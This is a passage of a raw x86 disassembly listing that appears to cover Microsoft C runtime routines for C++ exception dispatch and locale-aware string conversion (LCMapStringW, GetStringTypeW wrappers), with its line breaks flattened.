sub_415677+22j ; sub_415677+36j ... mov edi, [ebp+arg_10] cmp dword ptr [edi+0Ch], 0 jnz short loc_4156E8 call sub_415C07 loc_4156E8: ; CODE XREF: sub_415677+6Aj mov esi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push esi push [ebp+arg_18] push edi call sub_40E467 mov edi, eax mov eax, [ebp+var_4] add esp, 14h cmp eax, [ebp+var_8] jnb short loc_415765 push ebx loc_41570B: ; CODE XREF: sub_415677+EBj cmp esi, [edi] jl short loc_415756 cmp esi, [edi+4] jg short loc_415756 mov eax, [edi+0Ch] mov ecx, [edi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41572C cmp byte ptr [ecx+8], 0 jnz short loc_415756 loc_41572C: ; CODE XREF: sub_415677+ADj lea ebx, [eax-10h] test byte ptr [ebx], 40h jnz short loc_415756 push [ebp+arg_1C] mov esi, [ebp+arg_4] push [ebp+arg_18] push 0 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_41560B mov esi, [ebp+arg_14] add esp, 1Ch loc_415756: ; CODE XREF: sub_415677+96j ; sub_415677+9Bj ... inc [ebp+var_4] mov eax, [ebp+var_4] add edi, 14h cmp eax, [ebp+var_8] jb short loc_41570B pop ebx loc_415765: ; CODE XREF: sub_415677+5Dj ; sub_415677+91j pop edi loc_415766: ; CODE XREF: sub_415677+Fj pop esi leave retn sub_415677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415769 proc near ; CODE XREF: sub_415AD7+D4p var_2C = dword ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 2Ch mov ecx, [ebp+arg_4] push ebx mov ebx, [ebp+arg_10] mov eax, [ebx+4] cmp eax, 80h push esi push edi mov [ebp+var_1], 0 jg short loc_41578C movsx ecx, byte ptr [ecx+8] jmp short loc_41578F ; --------------------------------------------------------------------------- loc_41578C: ; CODE XREF: sub_415769+1Bj mov ecx, [ecx+8] loc_41578F: ; CODE XREF: sub_415769+21j cmp ecx, 0FFFFFFFFh mov [ebp+var_8], ecx jl short loc_41579B cmp ecx, eax jl short loc_4157A0 loc_41579B: ; CODE XREF: sub_415769+2Cj call sub_415C07 loc_4157A0: ; CODE XREF: sub_415769+30j mov esi, [ebp+arg_0] mov edi, 0E06D7363h cmp [esi], edi jnz loc_415A7B cmp dword ptr [esi+10h], 3 mov ebx, 19930520h jnz loc_4158E8 mov eax, [esi+14h] cmp eax, ebx jz short loc_4157D8 cmp eax, 19930521h jz short loc_4157D8 cmp eax, 19930522h jnz loc_4158E8 loc_4157D8: ; CODE XREF: sub_415769+5Bj ; sub_415769+62j cmp dword ptr [esi+1Ch], 0 jnz loc_4158E8 call sub_40F39E cmp dword ptr [eax+88h], 0 jz loc_415ABA call sub_40F39E mov esi, [eax+88h] mov [ebp+arg_0], esi call sub_40F39E mov eax, [eax+8Ch] push 1 push esi mov [ebp+arg_8], eax call sub_419CC4 test eax, eax pop ecx pop ecx jnz short loc_415823 call sub_415C07 loc_415823: ; CODE XREF: sub_415769+B3j cmp [esi], edi jnz short loc_41584D cmp dword ptr [esi+10h], 3 jnz short loc_41584D mov eax, [esi+14h] cmp eax, ebx jz short loc_415842 cmp eax, 19930521h jz short loc_415842 cmp eax, 19930522h jnz short loc_41584D loc_415842: ; CODE XREF: sub_415769+C9j ; sub_415769+D0j cmp dword ptr [esi+1Ch], 0 jnz short loc_41584D call sub_415C07 loc_41584D: ; CODE XREF: sub_415769+BCj ; sub_415769+C2j ... call sub_40F39E cmp dword ptr [eax+94h], 0 jz loc_4158E8 call sub_40F39E mov edi, [eax+94h] call sub_40F39E push [ebp+arg_0] xor esi, esi mov [eax+94h], esi call sub_41519D test al, al pop ecx jnz short loc_4158E0 xor ebx, ebx cmp [edi], ebx jle short loc_4158A7 loc_41588A: ; CODE XREF: sub_415769+13Cj mov eax, [edi+4] mov ecx, [ebx+eax+4] push offset off_423E30 call sub_40CBE6 test al, al jnz short loc_4158AC inc esi add ebx, 10h cmp esi, [edi] jl short loc_41588A loc_4158A7: ; CODE XREF: sub_415769+11Fj ; sub_415769+31Cj jmp sub_415BBB ; --------------------------------------------------------------------------- loc_4158AC: ; CODE XREF: sub_415769+134j push 1 push [ebp+arg_0] call sub_415124 pop ecx pop ecx lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_2C] mov [ebp+arg_0], offset dword_41EC1C call sub_40C7DB push offset dword_421CBC lea eax, [ebp+var_2C] push eax mov [ebp+var_2C], offset off_41EC14 call sub_40E1BC loc_4158E0: ; CODE XREF: sub_415769+119j mov esi, [ebp+arg_0] mov edi, 0E06D7363h loc_4158E8: ; CODE XREF: sub_415769+50j ; sub_415769+69j ... cmp [esi], edi jnz loc_415A78 cmp dword ptr [esi+10h], 3 jnz loc_415A78 mov eax, [esi+14h] cmp eax, ebx jz short loc_415913 cmp eax, 19930521h jz short loc_415913 cmp eax, 19930522h jnz loc_415A78 loc_415913: ; CODE XREF: sub_415769+196j ; sub_415769+19Dj mov edi, [ebp+arg_10] cmp dword ptr [edi+0Ch], 0 jbe loc_4159DF lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_10] push eax push [ebp+var_8] push [ebp+arg_18] push edi call sub_40E467 add esp, 14h mov edi, eax loc_415939: ; CODE XREF: sub_415769+26Ej mov eax, [ebp+var_10] cmp eax, [ebp+var_1C] jnb loc_4159DC mov eax, [ebp+var_8] cmp [edi], eax jg loc_4159D1 cmp eax, [edi+4] jg short loc_4159D1 mov eax, [edi+10h] mov [ebp+var_C], eax mov eax, [edi+0Ch] test eax, eax mov [ebp+var_18], eax jle short loc_4159D1 loc_415965: ; CODE XREF: sub_415769+23Cj mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea ebx, [eax+4] mov eax, [eax] test eax, eax mov [ebp+var_14], eax jle short loc_41599A loc_415977: ; CODE XREF: sub_415769+22Fj push dword ptr [esi+1Ch] mov eax, [ebx] push eax push [ebp+var_C] mov [ebp+var_20], eax call sub_414F5E add esp, 0Ch test eax, eax jnz short loc_4159A9 dec [ebp+var_14] add ebx, 4 cmp [ebp+var_14], eax jg short loc_415977 loc_41599A: ; CODE XREF: sub_415769+20Cj dec [ebp+var_18] add [ebp+var_C], 10h cmp [ebp+var_18], 0 jg short loc_415965 jmp short loc_4159D1 ; --------------------------------------------------------------------------- loc_4159A9: ; CODE XREF: sub_415769+224j push [ebp+arg_1C] mov ebx, [ebp+var_C] push [ebp+arg_18] mov [ebp+var_1], 1 push [ebp+var_20] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push esi mov esi, [ebp+arg_4] call sub_41560B mov esi, [ebp+arg_0] add esp, 1Ch loc_4159D1: ; CODE XREF: sub_415769+1E1j ; sub_415769+1EAj ... inc [ebp+var_10] add edi, 14h jmp loc_415939 ; --------------------------------------------------------------------------- loc_4159DC: ; CODE XREF: sub_415769+1D6j mov edi, [ebp+arg_10] loc_4159DF: ; CODE XREF: sub_415769+1B1j cmp [ebp+arg_14], 0 jz short loc_4159EF push 1 push esi call sub_415124 pop ecx pop ecx loc_4159EF: ; CODE XREF: sub_415769+27Aj cmp [ebp+var_1], 0 jnz loc_415AA7 mov eax, [edi] and eax, 1FFFFFFFh cmp eax, 19930521h jb loc_415AA7 mov edi, [edi+1Ch] test edi, edi jz loc_415AA7 push esi call sub_41519D test al, al pop ecx jnz loc_415AA7 call sub_40F39E call sub_40F39E call sub_40F39E mov [eax+88h], esi call sub_40F39E cmp [ebp+arg_1C], 0 mov ecx, [ebp+arg_8] mov [eax+8Ch], ecx push esi jnz short loc_415A54 push [ebp+arg_4] jmp short loc_415A57 ; --------------------------------------------------------------------------- loc_415A54: ; CODE XREF: sub_415769+2E4j push [ebp+arg_1C] loc_415A57: ; CODE XREF: sub_415769+2E9j call sub_40E23D mov esi, [ebp+arg_10] push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_414FFE add esp, 10h push dword ptr [esi+1Ch] call sub_415216 loc_415A78: ; CODE XREF: sub_415769+181j ; sub_415769+18Bj ... mov ebx, [ebp+arg_10] loc_415A7B: ; CODE XREF: sub_415769+41j cmp dword ptr [ebx+0Ch], 0 jbe short loc_415AA7 cmp [ebp+arg_14], 0 jnz loc_4158A7 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_8] push ebx push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_415677 add esp, 20h loc_415AA7: ; CODE XREF: sub_415769+28Aj ; sub_415769+29Cj ... call sub_40F39E cmp dword ptr [eax+94h], 0 jz short loc_415ABA call sub_415C07 loc_415ABA: ; CODE XREF: sub_415769+85j ; sub_415769+34Aj pop edi pop esi pop ebx leave retn sub_415769 endp ; --------------------------------------------------------------------------- push esi push dword ptr [esp+8] mov esi, ecx call sub_40C841 mov dword ptr [esi], offset off_41EC14 mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AD7 proc near ; CODE XREF: sub_40E28F+21p ; .text:0040E2EBp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push ebx push esi push edi call sub_40F39E cmp dword ptr [eax+20Ch], 0 mov eax, [ebp+arg_10] mov ecx, [ebp+arg_0] mov edi, 0E06D7363h mov esi, 1FFFFFFFh mov ebx, 19930522h jnz short loc_415B20 mov edx, [ecx] cmp edx, edi jz short loc_415B20 cmp edx, 80000026h jz short loc_415B20 mov edx, [eax] and edx, esi cmp edx, ebx jb short loc_415B20 test byte ptr [eax+20h], 1 jnz loc_415BB3 loc_415B20: ; CODE XREF: sub_415AD7+27j ; sub_415AD7+2Dj ... test byte ptr [ecx+4], 66h jz short loc_415B49 cmp dword ptr [eax+4], 0 jz loc_415BB3 cmp [ebp+arg_14], 0 jnz short loc_415BB3 push 0FFFFFFFFh push eax push [ebp+arg_C] push [ebp+arg_4] call sub_414FFE add esp, 10h jmp short loc_415BB3 ; --------------------------------------------------------------------------- loc_415B49: ; CODE XREF: sub_415AD7+4Dj cmp dword ptr [eax+0Ch], 0 jnz short loc_415B61 mov edx, [eax] and edx, esi cmp edx, 19930521h jb short loc_415BB3 cmp dword ptr [eax+1Ch], 0 jz short loc_415BB3 loc_415B61: ; CODE XREF: sub_415AD7+76j cmp [ecx], edi jnz short loc_415B97 cmp dword ptr [ecx+10h], 3 jb short loc_415B97 cmp [ecx+14h], ebx jbe short loc_415B97 mov edx, [ecx+1Ch] mov edx, [edx+8] test edx, edx jz short loc_415B97 movzx esi, byte ptr [ebp+arg_1C] push esi push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ecx call edx add esp, 20h jmp short loc_415BB6 ; --------------------------------------------------------------------------- loc_415B97: ; CODE XREF: sub_415AD7+8Cj ; sub_415AD7+92j ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ecx call sub_415769 add esp, 20h loc_415BB3: ; CODE XREF: sub_415AD7+43j ; sub_415AD7+53j ... xor eax, eax inc eax loc_415BB6: ; CODE XREF: sub_415AD7+BEj pop edi pop esi pop ebx pop ebp retn sub_415AD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415BBB proc near ; CODE XREF: sub_414E80:loc_414EB4p ; sub_414FBA+22j ... ms_exc = CPPEH_RECORD ptr -18h ; FUNCTION CHUNK AT 00415BE2 SIZE 00000012 BYTES push 8 push offset dword_421CF8 call __SEH_prolog4 call sub_40F39E mov eax, [eax+78h] test eax, eax jz short loc_415BE9 and [ebp+ms_exc.disabled], 0 call eax jmp short loc_415BE2 sub_415BBB endp ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] ; START OF FUNCTION CHUNK FOR sub_415BBB loc_415BE2: ; CODE XREF: sub_415BBB+1Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_415BE9: ; CODE XREF: sub_415BBB+16j call sub_419CD1 call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_415BBB ; =============== S U B R O U T I N E ======================================= sub_415BF4 proc near ; CODE XREF: sub_415216+23p call sub_40F39E mov eax, [eax+7Ch] test eax, eax jz short loc_415C02 call eax loc_415C02: ; CODE XREF: sub_415BF4+Aj jmp sub_415BBB sub_415BF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C07 proc near ; CODE XREF: sub_40E467+1Cp ; sub_40E467:loc_40E4C8p ... ms_exc = CPPEH_RECORD ptr -18h push 8 push offset dword_421D18 call __SEH_prolog4 push off_42648C call sub_40F194 pop ecx test eax, eax jz short loc_415C39 and [ebp+ms_exc.disabled], 0 call eax jmp short loc_415C32 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] loc_415C32: ; CODE XREF: sub_415C07+22j mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_415C39: ; CODE XREF: sub_415C07+1Aj jmp sub_415BBB sub_415C07 endp ; =============== S U B R O U T I N E ======================================= sub_415C3E proc near ; CODE XREF: sub_411C19+33p push offset sub_415BBB call sub_40F128 pop ecx mov off_42648C, eax retn sub_415C3E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C50 proc near ; CODE XREF: sub_40E56F+4Ap ; sub_414FFE+77p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_418820 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_415C8F mov ecx, 2 loc_415C8F: ; CODE XREF: sub_415C50+38j push ecx call sub_418820 pop ebp pop ecx pop ebx leave retn 0Ch sub_415C50 endp ; =============== S U B R O U T I N E ======================================= sub_415C9C proc near ; CODE XREF: sub_415CB7+220p ; sub_415CB7+229p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short locret_415CB6 sub eax, 8 cmp dword ptr [eax], 0DDDDh jnz short locret_415CB6 push eax call sub_40D35A pop ecx locret_415CB6: ; CODE XREF: sub_415C9C+6j ; sub_415C9C+11j retn sub_415C9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CB7 proc near ; CODE XREF: sub_416059+2Cp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 14h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx push esi xor ebx, ebx cmp dword_426490, ebx push edi mov esi, ecx jnz short loc_415D0E push ebx push ebx xor edi, edi inc edi push edi push offset dword_41EC2C push 100h push ebx call ds:dword_41E110 ; LCMapStringW test eax, eax jz short loc_415CF9 mov dword_426490, edi jmp short loc_415D0E ; --------------------------------------------------------------------------- loc_415CF9: ; CODE XREF: sub_415CB7+38j call ds:dword_41E0D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_415D0E mov dword_426490, 2 loc_415D0E: ; CODE XREF: sub_415CB7+1Dj ; sub_415CB7+40j ... cmp [ebp+arg_C], ebx jle short loc_415D35 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_415D19: ; CODE XREF: sub_415CB7+6Aj dec ecx cmp [eax], bl jz short loc_415D26 inc eax cmp ecx, ebx jnz short loc_415D19 or ecx, 0FFFFFFFFh loc_415D26: ; CODE XREF: sub_415CB7+65j mov eax, [ebp+arg_C] sub eax, ecx dec eax cmp eax, [ebp+arg_C] jge short loc_415D32 inc eax loc_415D32: ; CODE XREF: sub_415CB7+78j mov [ebp+arg_C], eax loc_415D35: ; CODE XREF: sub_415CB7+5Aj mov eax, dword_426490 cmp eax, 2 jz loc_415EEE cmp eax, ebx jz loc_415EEE cmp eax, 1 jnz loc_415F1F cmp [ebp+arg_18], ebx mov [ebp+var_8], ebx jnz short loc_415D64 mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_18], eax loc_415D64: ; CODE XREF: sub_415CB7+A3j mov esi, ds:dword_41E08C xor eax, eax cmp [ebp+arg_1C], ebx push ebx push ebx push [ebp+arg_C] setnz al push [ebp+arg_8] lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call esi ; MultiByteToWideChar mov edi, eax cmp edi, ebx jz loc_415F1F jle short loc_415DD6 push 0FFFFFFE0h xor edx, edx pop eax div edi cmp eax, 2 jb short loc_415DD6 lea eax, [edi+edi+8] cmp eax, 400h ja short loc_415DBD call sub_419FC0 mov eax, esp cmp eax, ebx jz short loc_415DD1 mov dword ptr [eax], 0CCCCh jmp short loc_415DCE ; --------------------------------------------------------------------------- loc_415DBD: ; CODE XREF: sub_415CB7+F1j push eax call sub_40D437 cmp eax, ebx pop ecx jz short loc_415DD1 mov dword ptr [eax], 0DDDDh loc_415DCE: ; CODE XREF: sub_415CB7+104j add eax, 8 loc_415DD1: ; CODE XREF: sub_415CB7+FCj ; sub_415CB7+10Fj mov [ebp+var_C], eax jmp short loc_415DD9 ; --------------------------------------------------------------------------- loc_415DD6: ; CODE XREF: sub_415CB7+DAj ; sub_415CB7+E6j mov [ebp+var_C], ebx loc_415DD9: ; CODE XREF: sub_415CB7+11Dj cmp [ebp+var_C], ebx jz loc_415F1F push edi push [ebp+var_C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call esi ; MultiByteToWideChar test eax, eax jz loc_415EDD mov esi, ds:dword_41E110 push ebx push ebx push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringW mov ecx, eax cmp ecx, ebx mov [ebp+var_8], ecx jz loc_415EDD test word ptr [ebp+arg_4], 400h jz short loc_415E4D cmp [ebp+arg_14], ebx jz loc_415EDD cmp ecx, [ebp+arg_14] jg loc_415EDD push [ebp+arg_14] push [ebp+arg_10] push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringW jmp loc_415EDD ; --------------------------------------------------------------------------- loc_415E4D: ; CODE XREF: sub_415CB7+16Bj cmp ecx, ebx jle short loc_415E96 push 0FFFFFFE0h xor edx, edx pop eax div ecx cmp eax, 2 jb short loc_415E96 lea eax, [ecx+ecx+8] cmp eax, 400h ja short loc_415E7E call sub_419FC0 mov esi, esp cmp esi, ebx jz short loc_415EDD mov dword ptr [esi], 0CCCCh add esi, 8 jmp short loc_415E98 ; --------------------------------------------------------------------------- loc_415E7E: ; CODE XREF: sub_415CB7+1AFj push eax call sub_40D437 cmp eax, ebx pop ecx jz short loc_415E92 mov dword ptr [eax], 0DDDDh add eax, 8 loc_415E92: ; CODE XREF: sub_415CB7+1D0j mov esi, eax jmp short loc_415E98 ; --------------------------------------------------------------------------- loc_415E96: ; CODE XREF: sub_415CB7+198j ; sub_415CB7+1A4j xor esi, esi loc_415E98: ; CODE XREF: sub_415CB7+1C5j ; sub_415CB7+1DDj cmp esi, ebx jz short loc_415EDD push [ebp+var_8] push esi push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_41E110 ; LCMapStringW test eax, eax jz short loc_415ED6 cmp [ebp+arg_14], ebx push ebx push ebx jnz short loc_415EBF push ebx push ebx jmp short loc_415EC5 ; --------------------------------------------------------------------------- loc_415EBF: ; CODE XREF: sub_415CB7+202j push [ebp+arg_14] push [ebp+arg_10] loc_415EC5: ; CODE XREF: sub_415CB7+206j push [ebp+var_8] push esi push ebx push [ebp+arg_18] call ds:dword_41E120 ; WideCharToMultiByte mov [ebp+var_8], eax loc_415ED6: ; CODE XREF: sub_415CB7+1FBj push esi call sub_415C9C pop ecx loc_415EDD: ; CODE XREF: sub_415CB7+13Ej ; sub_415CB7+15Fj ... push [ebp+var_C] call sub_415C9C mov eax, [ebp+var_8] pop ecx jmp loc_416047 ; --------------------------------------------------------------------------- loc_415EEE: ; CODE XREF: sub_415CB7+86j ; sub_415CB7+8Ej cmp [ebp+arg_0], ebx mov [ebp+var_C], ebx mov [ebp+var_10], ebx jnz short loc_415F01 mov eax, [esi] mov eax, [eax+14h] mov [ebp+arg_0], eax loc_415F01: ; CODE XREF: sub_415CB7+240j cmp [ebp+arg_18], ebx jnz short loc_415F0E mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_18], eax loc_415F0E: ; CODE XREF: sub_415CB7+24Dj push [ebp+arg_0] call sub_419DC4 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jnz short loc_415F26 loc_415F1F: ; CODE XREF: sub_415CB7+97j ; sub_415CB7+D4j ... xor eax, eax jmp loc_416047 ; --------------------------------------------------------------------------- loc_415F26: ; CODE XREF: sub_415CB7+266j cmp eax, [ebp+arg_18] jz loc_41600A push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_419E0B add esp, 18h cmp eax, ebx mov [ebp+var_C], eax jz short loc_415F1F mov esi, ds:off_41E114 push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call esi ; sub_43BB5A cmp eax, ebx mov [ebp+var_8], eax jnz short loc_415F6D loc_415F66: ; CODE XREF: sub_415CB7+2D0j ; sub_415CB7+2F9j xor esi, esi jmp loc_416024 ; --------------------------------------------------------------------------- loc_415F6D: ; CODE XREF: sub_415CB7+2ADj jle short loc_415FAC cmp eax, 0FFFFFFE0h ja short loc_415FAC add eax, 8 cmp eax, 400h ja short loc_415F94 call sub_419FC0 mov edi, esp cmp edi, ebx jz short loc_415F66 mov dword ptr [edi], 0CCCCh add edi, 8 jmp short loc_415FAE ; --------------------------------------------------------------------------- loc_415F94: ; CODE XREF: sub_415CB7+2C5j push eax call sub_40D437 cmp eax, ebx pop ecx jz short loc_415FA8 mov dword ptr [eax], 0DDDDh add eax, 8 loc_415FA8: ; CODE XREF: sub_415CB7+2E6j mov edi, eax jmp short loc_415FAE ; --------------------------------------------------------------------------- loc_415FAC: ; CODE XREF: sub_415CB7:loc_415F6Dj ; sub_415CB7+2BBj xor edi, edi loc_415FAE: ; CODE XREF: sub_415CB7+2DBj ; sub_415CB7+2F3j cmp edi, ebx jz short loc_415F66 push [ebp+var_8] push ebx push edi call sub_40C6F0 add esp, 0Ch push [ebp+var_8] push edi push [ebp+arg_C] push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; sub_43BB5A cmp eax, ebx mov [ebp+var_8], eax jnz short loc_415FDC xor esi, esi jmp short loc_416001 ; --------------------------------------------------------------------------- loc_415FDC: ; CODE XREF: sub_415CB7+31Fj push [ebp+arg_14] lea eax, [ebp+var_8] push [ebp+arg_10] push eax push edi push [ebp+arg_18] push [ebp+var_14] call sub_419E0B mov esi, eax mov [ebp+var_10], esi add esp, 18h neg esi sbb esi, esi and esi, [ebp+var_8] loc_416001: ; CODE XREF: sub_415CB7+323j push edi call sub_415C9C pop ecx jmp short loc_416024 ; --------------------------------------------------------------------------- loc_41600A: ; CODE XREF: sub_415CB7+272j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:off_41E114 mov esi, eax loc_416024: ; CODE XREF: sub_415CB7+2B1j ; sub_415CB7+351j cmp [ebp+var_C], ebx jz short loc_416032 push [ebp+var_C] call sub_40D35A pop ecx loc_416032: ; CODE XREF: sub_415CB7+370j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_416045 cmp [ebp+arg_10], eax jz short loc_416045 push eax call sub_40D35A pop ecx loc_416045: ; CODE XREF: sub_415CB7+380j ; sub_415CB7+385j mov eax, esi loc_416047: ; CODE XREF: sub_415CB7+232j ; sub_415CB7+26Aj lea esp, [ebp-20h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AB4A leave retn sub_415CB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416059 proc near ; CODE XREF: sub_40E817+B6p ; sub_40E817+DBp ... var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40AB59 push [ebp+arg_20] lea ecx, [ebp+var_10] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_415CB7 add esp, 20h cmp [ebp+var_4], 0 jz short locret_41609A mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_41609A: ; CODE XREF: sub_416059+38j leave retn sub_416059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41609C proc near ; CODE XREF: sub_416254+29p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx push ecx mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, dword_426494 push ebx push esi xor ebx, ebx cmp eax, ebx push edi mov edi, ecx jnz short loc_4160F5 lea eax, [ebp+var_8] push eax xor esi, esi inc esi push esi push offset dword_41EC2C push esi call ds:dword_41E108 ; GetStringTypeW test eax, eax jz short loc_4160DB mov dword_426494, esi jmp short loc_41610F ; --------------------------------------------------------------------------- loc_4160DB: ; CODE XREF: sub_41609C+35j call ds:dword_41E0D8 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_4160F0 push 2 pop eax mov dword_426494, eax jmp short loc_4160F5 ; --------------------------------------------------------------------------- loc_4160F0: ; CODE XREF: sub_41609C+48j mov eax, dword_426494 loc_4160F5: ; CODE XREF: sub_41609C+1Dj ; sub_41609C+52j cmp eax, 2 jz loc_4161CD cmp eax, ebx jz loc_4161CD cmp eax, 1 jnz loc_4161F7 loc_41610F: ; CODE XREF: sub_41609C+3Dj cmp [ebp+arg_10], ebx mov [ebp+var_8], ebx jnz short loc_41611F mov eax, [edi] mov eax, [eax+4] mov [ebp+arg_10], eax loc_41611F: ; CODE XREF: sub_41609C+79j mov esi, ds:dword_41E08C xor eax, eax cmp [ebp+arg_18], ebx push ebx push ebx push [ebp+arg_8] setnz al push [ebp+arg_4] lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call esi ; MultiByteToWideChar mov edi, eax cmp edi, ebx jz loc_4161F7 jle short loc_41618A cmp edi, 7FFFFFF0h ja short loc_41618A lea eax, [edi+edi+8] cmp eax, 400h ja short loc_416174 call sub_419FC0 mov eax, esp cmp eax, ebx jz short loc_416188 mov dword ptr [eax], 0CCCCh jmp short loc_416185 ; --------------------------------------------------------------------------- loc_416174: ; CODE XREF: sub_41609C+C3j push eax call sub_40D437 cmp eax, ebx pop ecx jz short loc_416188 mov dword ptr [eax], 0DDDDh loc_416185: ; CODE XREF: sub_41609C+D6j add eax, 8 loc_416188: ; CODE XREF: sub_41609C+CEj ; sub_41609C+E1j mov ebx, eax loc_41618A: ; CODE XREF: sub_41609C+B0j ; sub_41609C+B8j test ebx, ebx jz short loc_4161F7 lea eax, [edi+edi] push eax push 0 push ebx call sub_40C6F0 add esp, 0Ch push edi push ebx push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call esi ; MultiByteToWideChar test eax, eax jz short loc_4161C1 push [ebp+arg_C] push eax push ebx push [ebp+arg_0] call ds:dword_41E108 ; GetStringTypeW mov [ebp+var_8], eax loc_4161C1: ; CODE XREF: sub_41609C+112j push ebx call sub_415C9C mov eax, [ebp+var_8] pop ecx jmp short loc_416242 ; --------------------------------------------------------------------------- loc_4161CD: ; CODE XREF: sub_41609C+5Cj ; sub_41609C+64j xor esi, esi cmp [ebp+arg_14], ebx jnz short loc_4161DC mov eax, [edi] mov eax, [eax+14h] mov [ebp+arg_14], eax loc_4161DC: ; CODE XREF: sub_41609C+136j cmp [ebp+arg_10], ebx jnz short loc_4161E9 mov eax, [edi] mov eax, [eax+4] mov [ebp+arg_10], eax loc_4161E9: ; CODE XREF: sub_41609C+143j push 